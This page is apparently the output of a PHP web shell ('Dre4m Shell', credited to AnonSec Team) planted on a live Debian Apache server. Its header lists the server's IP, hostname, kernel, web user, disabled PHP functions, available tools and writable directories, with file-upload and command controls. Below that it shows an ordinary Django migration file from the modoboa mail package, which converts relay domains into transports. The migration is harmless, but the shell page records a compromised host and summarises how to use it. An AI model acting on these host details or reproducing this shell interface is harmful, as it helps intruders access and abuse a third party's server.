Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.142.172.190
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/relaydomains/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/relaydomains/migrations//0008_auto_20171123_1653.py
# Generated by Django 1.10.7 on 2017-11-23 15:53
from django.db import migrations


def move_relaydomain_to_transport(apps, schema_editor):
    """Transform relaydomains to transports."""
    RelayDomain = apps.get_model("relaydomains", "RelayDomain")
    RecipientAccess = apps.get_model("relaydomains", "RecipientAccess")
    Transport = apps.get_model("transport", "Transport")
    ra_to_create = []
    for rd in RelayDomain.objects.select_related("domain", "service"):
        next_hop = "[{}]:{}".format(rd.target_host, rd.target_port)
        tr = Transport.objects.create(
            pattern=rd.domain.name,
            service="relay",
            next_hop=next_hop,
            _settings={
                "relay_target_host": rd.target_host,
                "relay_target_port": rd.target_port,
                "relay_verify_recipients": rd.verify_recipients
            }
        )
        rd.domain.transport = tr
        rd.domain.save(update_fields=["transport"])
        if not rd.verify_recipients:
            continue
        ra_to_create.append(
            RecipientAccess(
                pattern=rd.domain.name, action="reject_unverified_recipient"))
    RecipientAccess.objects.bulk_create(ra_to_create)


def forward(apps, schema_editor):
    """Empty."""
    pass


class Migration(migrations.Migration):

    dependencies = [
        ('relaydomains', '0007_recipientaccess'),
        ('transport', '0001_initial'),
        ('admin', '0011_domain_transport'),
    ]

    operations = [
        migrations.RunPython(move_relaydomain_to_transport, forward)
    ]

Anon7 - 2022
AnonSec Team